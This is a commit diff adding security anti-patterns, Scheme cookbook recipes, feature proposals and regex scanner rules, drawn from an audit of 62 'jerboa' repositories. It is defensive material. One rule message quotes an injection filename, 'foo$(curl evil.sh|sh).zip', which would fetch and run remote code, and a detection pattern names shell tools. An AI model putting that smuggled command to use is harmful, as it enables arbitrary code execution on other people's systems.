data: add security recipes, scanner patterns, anti-patterns, and features from 62-repo audit
ober
818d684ce02687a26a8507365a1b8a112f70b1d0
--- a/data/anti-patterns.sexp +++ b/data/anti-patterns.sexp @@ -4734,3 +4734,76 @@ "jerboa_module_exists" "jerboa_module_exports" "jerboa_apropos")) + (("advice" + . + "Wrap acquisition in guaranteed-cleanup constructs: (with-lock mtx body) for mutexes, (with-resource ([p (open-...)]) body) or call-with-port for ports, and dynamic-wind/guard for fd's. The cleanup must run on normal exit, exception, AND continuation escape. Inside fibers prefer guard over dynamic-wind (engine preemption fires dynamic-wind cleanup spuriously — see recipe dynamic-wind-engine-gotcha).") + ("avoid" + . + "Calling mutex-acquire, open-port, or getting an fd and then doing work that can raise BEFORE the matching release/close, with no dynamic-wind/guard/with-lock. A crypto or I/O error in the body leaves the mutex locked forever (deadlock) or leaks the port/fd. Found across jerboa-secmonlib (buffer-store! mutex deadlock), jerboa-fuse, jerboa-aws, jerboa-proton-bridge, jerboa-treesitter.") + ("id" . "mutex-port-fd-without-cleanup") + ("kinds" "security" "correctness" "concurrency") + ("pattern" . "") ("severity" . "high") + ("tags" "mutex" "dynamic-wind" "resource-leak" "deadlock" + "port" "fd" "cleanup") + ("title" + . + "Acquiring mutex/port/fd without guaranteed cleanup") + ("tools" "jerboa_howto" "jerboa_security_scan")) + (("advice" + . + "Security checks must FAIL CLOSED: if the hash/verify step returns #f or raises, the check must return #f / raise, never #t. Structure as (and result (equal? result expected)). Apply the same rule to git-error handling: a secret scanner whose git diff fails must block the commit, not report zero findings (jerboa-gitsafe git-output swallowed all git errors and returned \"\").") + ("avoid" + . + "Writing a security check as (or (not result) (equal? result expected)) or any form where a #f/error from the hashing/verification step makes the check PASS. If the binary or /proc/self/maps is unreadable or tampered so hashing returns #f, an attacker who breaks hashing evades detection entirely. Found in jerboa-secmonlib (verify-integrity).") + ("id" . "fail-open-verification") ("kinds" "security") + ("pattern" . "") ("severity" . "high") + ("tags" "fail-open" "fail-closed" "integrity" "verification" + "security-check") + ("title" + . + "Verification/integrity check that passes on error (fail-open)") + ("tools" "jerboa_security_scan")) + (("advice" + . + "Pass the mode AT CREATION so the file is born 0600: use the platform open(2) with O_CREAT|O_NOFOLLOW and mode #o600, or restrict umask around creation. Never rely on a post-write chmod for secrecy. See cookbook recipe atomic-private-file-creation.") + ("avoid" + . + "Writing a key/credential/token with default umask (world-readable) and calling chmod 0600 afterward. A concurrent local reader can grab the secret in the window between create and chmod. Found in jerboa-pgp (identity.ss), jerboa-fuse (vault files), jerboa-drive, jerboa-shell (HISTFILE, which also followed symlinks).") + ("id" . "write-then-chmod-secret-file") ("kinds" "security") + ("pattern" . "") ("severity" . "medium") + ("tags" "permissions" "0600" "toctou" "secret-file" "chmod" + "umask") + ("title" + . + "Creating a secret file world-readable then chmod-ing it (TOCTOU)") + ("tools" "jerboa_howto" "jerboa_security_scan")) + (("advice" + . + "Never splice shell-expanded values into generated source. Pass them as command-line arguments or environment variables that the program reads safely at runtime (e.g. (command-line) / getenv), or write a dedicated boot script. Keep generated code static and data separate.") + ("avoid" + . + "Building a Scheme (or other language) program by interpolating shell variables ($PATH-like values) directly into a heredoc or string that is then read/eval'd. A path containing a quote or backtick breaks out of the literal and yields arbitrary code execution. Found in jerboa-websearch (bin/jerbsearch heredoc).") + ("id" . "shell-var-into-generated-code") + ("kinds" "security") ("pattern" . "") + ("severity" . "critical") + ("tags" "code-injection" "heredoc" "shell" "eval" + "generated-code") + ("title" + . + "Interpolating shell variables into generated code / heredocs") + ("tools" "jerboa_security_scan")) + (("advice" + . + "Validate every size field against sane bounds before allocating: page-size must be a power of two in 512..65536, counts capped vs actual file size, and use checked/wrapping arithmetic for u32 accumulators. For streams, read in fixed chunks (recipe stream-large-files-in-chunks) instead of get-bytevector-all. Reject inputs over the cap rather than allocating.") + ("avoid" + . + "Calling make-bytevector with a length read from a file/network header, or get-bytevector-all on an attacker-sized stream, without validating/capping the size. A corrupt or malicious header (e.g. WAL db-pages x page-size) drives a huge/overflowing allocation -> memory-exhaustion DoS. Found in jerboa-sqlite (wal.ss), jerboa-wormhole (read-blob), jerboa-dns.") + ("id" . "unbounded-alloc-from-untrusted") + ("kinds" "security" "correctness") ("pattern" . "") + ("severity" . "high") + ("tags" "allocation" "dos" "untrusted-input" "bounds-check" + "get-bytevector-all" "integer-overflow") + ("title" + . + "Allocating/reading a size taken from untrusted input") + ("tools" "jerboa_howto" "jerboa_security_scan"))) --- a/data/cookbooks.sexp +++ b/data/cookbooks.sexp @@ -6865,4 +6865,64 @@ "pregexp" "duckdb") ("title" . - "Normalize JSON UTF-16 surrogate-pair escapes before parsing"))) + "Normalize JSON UTF-16 surrogate-pair escapes before parsing")) + (("code" + . + "(import (chezscheme))\n\n;; Pure-Scheme constant-time bytevector comparison.\n;; Does NOT short-circuit: always scans all n bytes, so runtime does\n;; not depend on WHERE the first difference is (no timing oracle).\n(define (constant-time-bytevector=? a b)\n (let ([n (bytevector-length a)])\n (and (= n (bytevector-length b))\n (let loop ([i 0] [acc 0])\n (if (= i n)\n (zero? acc)\n (loop (+ i 1)\n (bitwise-ior acc\n (bitwise-xor (bytevector-u8-ref a i)\n (bytevector-u8-ref b i)))))))))\n\n;; For strings (tokens, hex digests), compare their UTF-8 bytes:\n(define (constant-time-string=? a b)\n (constant-time-bytevector=? (string->utf8 a) (string->utf8 b)))\n\n;; Preferred when OpenSSL is already linked (jerboa-ssh C shim does this):\n;; CRYPTO_memcmp returns 0 on equal.\n;; (define crypto-memcmp\n;; (foreign-procedure \"CRYPTO_memcmp\" (uptr uptr size_t) integer))\n;; equal? => (= 0 (crypto-memcmp ptr-a ptr-b len))") ("id" . "constant-time-secret-comparison") + ("imports" "(chezscheme)") + ("notes" + . + "bytevector=? and string=? short-circuit on the first differing byte, leaking that position through timing. This was found in jerboa-ssh (AES-CTR HMAC verified with bytevector=? while the ChaCha20 path correctly used CRYPTO_memcmp), jerboa-wormhole (transit handshake used string=? while dilation used ct-equal?), jerboa-proton-bridge (SRP proof), and known-hosts hashing. The length check leaks length, which is fine for fixed-size MACs/tokens. bitwise-ior/bitwise-xor are Chez primitives. If OpenSSL is already in the binary, prefer CRYPTO_memcmp via FFI.") + ("tags" "constant-time" "timing" "mac" "hmac" "secret" + "comparison" "crypto" "bytevector") + ("title" + . + "Compare MACs, tokens, and secrets in constant time")) + (("code" + . + "(import (chezscheme))\n\n;; Read exactly n bytes from /dev/urandom. get-bytevector-n! returns the\n;; count actually read; VERIFY it equals n. A byte-by-byte get-u8 loop\n;; silently yields the eof object on short reads, leaving zeros behind ->\n;; a predictable all-zero token.\n(define (read-urandom-bytes n)\n (let ([bv (make-bytevector n)]\n [p (open-file-input-port \"/dev/urandom\")])\n (dynamic-wind\n (lambda () (void))\n (lambda ()\n (let ([got (get-bytevector-n! bv p 0 n)])\n (unless (and (integer? got) (= got n))\n (error 'read-urandom-bytes \"short read from /dev/urandom\" got n))\n bv))\n (lambda () (close-port p)))))\n\n;; (read-urandom-bytes 32) => 32-byte bytevector, or raises on short read") ("id" . "bulk-urandom-read-with-eof-check") + ("imports" "(chezscheme)") + ("notes" + . + "Found in jerboa-code: random-hex-32 read /dev/urandom byte-by-byte via get-u8 with no EOF check, so a container without a working /dev/urandom produced an all-zero (predictable) auth token. Use a single bulk get-bytevector-n! read and check the returned count. open-file-input-port (binary), not open-input-file (textual) — get-bytevector-n! needs a binary port. Prefer your repo's (std crypto random) secure-random-bytes/random-token if available.") + ("tags" "urandom" "random" "crypto" "token" + "get-bytevector-n" "eof" "short-read") + ("title" + . + "Read N bytes from /dev/urandom with an EOF/short-read check")) + (("code" + . + "(import (chezscheme))\n\n;; Stream a file in fixed-size chunks. NEVER use get-bytevector-all on a\n;; file whose size is large or attacker-controlled: an advertised 64 GiB\n;; transfer read whole into memory will OOM the process.\n(define *chunk-size* (make-parameter 65536)) ; 64 KiB\n\n(define (call-with-file-chunks path proc)\n ;; proc receives (bytevector chunk-len) for each chunk, in order.\n (let ([p (open-file-input-port path)])\n (dynamic-wind\n (lambda () (void))\n (lambda ()\n (let ([buf (make-bytevector (*chunk-size*))])\n (let loop ()\n (let ([n (get-bytevector-n! buf p 0 (*chunk-size*))])\n (cond\n [(eof-object? n) (void)]\n [(= n 0) (void)]\n [else (proc buf n) (loop)])))))\n (lambda () (close-port p)))))\n\n;; Example: hash a huge file without loading it all.\n;; (call-with-file-chunks \"big.iso\"\n;; (lambda (buf n) (sha256-update! hasher buf n)))") ("id" . "stream-large-files-in-chunks") + ("imports" "(chezscheme)") + ("notes" + . + "Found in jerboa-wormhole: transit read-blob used get-bytevector-all, so a 64 GiB file (the advertised max) OOM'd the sender; dir->archive had the same issue. Fix streams 64 KiB records and computes SHA-256 incrementally. Reuse one buffer across chunks (don't make-bytevector per chunk). get-bytevector-n! returns the eof object at end, not 0 — check both. For network sockets the same chunked pattern applies to avoid unbounded memory growth from a peer that never stops sending.") + ("tags" "streaming" "large-file" "get-bytevector-all" "oom" + "chunk" "memory" "transfer") + ("title" + . + "Stream large files in chunks instead of get-bytevector-all")) + (("code" + . + "(import (chezscheme))\n\n;; Portable mitigation: keep secrets in a 0700 directory so that even a\n;; momentarily-0644 file is never world-readable, then tighten the file.\n(define (write-secret-file! dir path contents)\n (unless (file-directory? dir)\n (mkdir dir)\n (chmod dir #o700))\n (call-with-output-file path\n (lambda (p) (display contents p))\n 'replace)\n (chmod path #o600)\n path)\n\n;; (write-secret-file! (string-append (getenv \"HOME\") \"/.myapp\")\n;; (string-append (getenv \"HOME\") \"/.myapp/key\")\n;; \"s3cr3t\")") ("id" . "atomic-private-file-creation") + ("imports" "(chezscheme)") + ("notes" + . + "Found in jerboa-pgp (identity.ss wrote the secret key world-readable then chmod'd 0600), jerboa-fuse (vault files), jerboa-drive, and jerboa-shell (HISTFILE, which also followed symlinks). The existing recipe chmod-private-file-permissions shows write-then-chmod — that leaves a world-readable window and is the VULNERABLE way; only acceptable inside a 0700 dir as shown here. The fully-atomic fix passes mode 0600 to open(2) with O_CREAT|O_NOFOLLOW so there is NEVER a world-readable window; use your repo's existing posix-open helper for that. Do NOT bind C open via a bare (foreign-procedure \"open\" ...) — open(2) is variadic (the mode arg is optional) so a fixed-arity foreign-procedure fails to resolve; go through the repo's tested helper. The 0700-directory pattern above is the portable, always-available mitigation.") + ("tags" "permissions" "0600" "0700" "secret-file" "toctou" + "chmod" "umask" "atomic") + ("title" + . + "Create secret files with 0600 permissions atomically (avoid write-then-chmod TOCTOU)")) + (("code" + . + "(import (chezscheme))\n\n;; (random N) is a NON-cryptographic PRNG: predictable. An attacker who\n;; observes a few names can forecast future ones -> symlink/collision\n;; attacks on shared dirs like /tmp. Use a crypto source for temp names.\n(define (crypto-random-hex nbytes)\n (let ([bv (make-bytevector nbytes)]\n [p (open-file-input-port \"/dev/urandom\")])\n (dynamic-wind\n (lambda () (void))\n (lambda ()\n (let ([got (get-bytevector-n! bv p 0 nbytes)])\n (unless (= got nbytes) (error 'crypto-random-hex \"short read\"))\n (let ([d \"0123456789abcdef\"] [o (make-string (* 2 nbytes))])\n (do ([i 0 (+ i 1)]) ((= i nbytes) o)\n (let ([b (bytevector-u8-ref bv i)])\n (string-set! o (* 2 i) (string-ref d (quotient b 16)))\n (string-set! o (+ (* 2 i) 1) (string-ref d (remainder b 16))))))))\n (lambda () (close-port p)))))\n\n;; (string-append \"/tmp/blob-\" (crypto-random-hex 16) \".tmp\")\n;; Better still: mkstemp(3) — atomic + O_EXCL + 0600. Prefer your repo's\n;; (std crypto random) random-token / secure-random-bytes if available.") ("id" . "crypto-secure-temp-names") + ("imports" "(chezscheme)") + ("notes" + . + "Found in jerboa-search (content-store/index/segments used (random 1000000000) for temp filenames) and jerboa-gitsafe (predictable getpid()-based temp path). (random N) is seeded and predictable; combine at minimum with PID + a counter, but a crypto source is the correct fix. Best is mkstemp which is atomic, O_EXCL, and 0600. Don't build temp paths in shared dirs from predictable values.") + ("tags" "temp-file" "random" "crypto" "mktemp" "predictable" + "symlink" "tmp") + ("title" + . + "Generate unpredictable temp filenames with a cryptographic source"))) --- a/data/features.sexp +++ b/data/features.sexp @@ -3826,4 +3826,44 @@ ("use_case" . "Parsing standards-compliant JSON manifests and APIs that encode non-BMP characters as UTF-16 surrogate pairs.") + ("votes" . 0)) + (("description" + . + "Add a tool (e.g. security_scan_workspace) that runs the static security scanner across every git repo under a given directory in one call, aggregating findings per repo with severity. During a 62-repo audit I had to manually dispatch 6 parallel sub-agents and hand-partition the repo list; a single workspace scan would replace that entire orchestration.") + ("estimated_token_reduction" + . + "~8000-15000 tokens per multi-repo audit: eliminates partitioning the repo list, 6 parallel agent dispatches, and merging their free-text findings into one structured report") + ("example_scenario" + . + "User: 'scan all ~/mine/jerboa* repos for security issues.' Today: list repos, split into 6 batches, launch 6 general agents each with a ~400-word prompt, wait, then merge 6 free-text reports. With the tool: one call returns structured per-repo findings.") + ("id" . "security-scan-workspace") ("impact" . "high") + ("status" . "proposed") + ("tags" "security_scan" "workspace" "multi-repo" "audit" + "batch") + ("title" + . + "Scan all repos under a directory for security issues in one call") + ("use_case" + . + "Auditing a monorepo workspace or a directory of sibling repos (e.g. ~/mine/jerboa*) for security issues, before a release, or after a large refactor touching many repos.") + ("votes" . 0)) + (("description" + . + "Add a tool that, given a directory of repos, reports which ones are missing conventional Makefile targets (lint, security, test, verify) and which have no Makefile at all. I audited 62 repos for missing lint/security targets by writing a bash loop grepping each Makefile for '^lint:' and '^security:'; a dedicated tool would do this directly and could suggest the right alias target per repo's existing tooling.") + ("estimated_token_reduction" + . + "~1500-3000 tokens per workspace standards audit: replaces a hand-written bash grep loop plus per-repo Makefile reads to decide the correct lint/security alias") + ("example_scenario" + . + "User: 'does every repo have make lint and make security?' Today: bash loop over 62 Makefiles grepping for targets, then read each Makefile to pick an alias. With the tool: one call returns the gaps and a suggested target per repo.") + ("id" . "make-target-audit") ("impact" . "medium") + ("status" . "proposed") + ("tags" "make" "lint" "security" "audit" "workspace" + "standards") + ("title" + . + "Audit make targets (lint/security/test) across all repos in a directory") + ("use_case" + . + "Enforcing that every repo in a workspace has lint and security gates, or finding gaps after onboarding new repos.") ("votes" . 0))) --- a/data/security-rules.sexp +++ b/data/security-rules.sexp @@ -1100,4 +1100,54 @@ . "\\(string-(?:contains|prefix)\\?\\s+(?:resp|response|headers?)[\\w-]*\\s+") ("scope" . "scheme") - ("severity" . "high"))) + ("severity" . "high")) + (("id" . "shell-injection-format-tilde-s") + ("message" + . + "A value is interpolated into a shell command using format's ~s directive. ~s produces a double-quoted string in which $(...), backticks, and backslashes are STILL interpreted by /bin/sh, so a crafted filename like foo$(curl evil.sh|sh).zip executes arbitrary commands. This was found in jerboa-virus (scan.ss, clamav-cbc-wasm.ss) where archive filenames reached the shell.") + ("pattern" + . + "format[^;]*~s[^;]*\\b(cd|rm|curl|sh|bash|tar|unzip|bsdtar|gzip|system)\\b|\\b(system|open-process|open-process-ports|safe-system)\\b[^;]*~s") + ("scope" . "scheme") + ("severity" . "critical")) + (("id" . "non-constant-time-secret-compare") + ("message" + . + "A secret/MAC/token is compared with bytevector=?, string=?, or equal?, which short-circuit on the first differing byte and leak that position through timing (a timing oracle on HMAC/token verification). Found in jerboa-ssh (AES-CTR HMAC via bytevector=? while ChaCha20 correctly used CRYPTO_memcmp), jerboa-wormhole (transit handshake via string=?), jerboa-proton-bridge (SRP proof), and known-hosts hashing.") + ("pattern" + . + "(bytevector=\\?|string=\\?|equal\\?)[^;]*(mac|hmac|token|secret|proof|digest|signature|key)|(mac|hmac|token|secret|proof|digest|signature|key)[^;]*(bytevector=\\?|string=\\?|equal\\?)") + ("scope" . "scheme") + ("severity" . "high")) + (("id" . "non-crypto-random-filename") + ("message" + . + "A temp/blob filename is built from (random N), a non-cryptographic PRNG. An attacker who observes a few names can predict future ones, enabling symlink/collision attacks in shared dirs like /tmp. Found in jerboa-search (content-store/index/segments) and jerboa-gitsafe (getpid-based temp path).") + ("pattern" + . + "\\(random [0-9]+\\)[^;]*(temp|tmp|path|file|name|blob)|(temp|tmp|path|file|name|blob)[^;]*\\(random [0-9]+\\)") + ("scope" . "scheme") + ("severity" . "low")) + (("id" . "string-number-radix-prefix") + ("message" + . + "string->number accepts non-decimal radix prefixes (#x10, #o10, #b10) and scientific notation (1e5). Used on a security-sensitive field like Content-Length this is a request-smuggling vector; used on a port it accepts 8443.5 or 1+2i. Found in jerboa-https (request Content-Length), jerboa-site (PORT), jerboa-protonmail (config port).") + ("pattern" + . + "string->number[^;]*(content-length|port|size|len|timeout|limit|max)|(content-length|port|size|len|timeout|limit|max)[^;]*string->number") + ("scope" . "scheme") + ("severity" . "medium")) + (("id" . "urandom-byte-by-byte-no-eof") + ("message" + . + "Reading /dev/urandom byte-by-byte with get-u8 without checking for the eof object: on a short read the bytevector keeps its initialized zeros, silently producing a weak/predictable token. Found in jerboa-code (random-hex-32).") + ("pattern" . "get-u8[^;]*urandom|urandom[^;]*get-u8") + ("scope" . "scheme") + ("severity" . "medium")) + (("id" . "get-bytevector-all-unbounded") + ("message" + . + "get-bytevector-all reads an entire port into one bytevector. On a file or network stream whose size is large or attacker-controlled this is an unbounded-memory/OOM DoS (a 64 GiB advertised transfer OOMs the process). Found in jerboa-wormhole (transit read-blob, dir->archive).") + ("pattern" . "get-bytevector-all") + ("scope" . "scheme") + ("severity" . "medium")))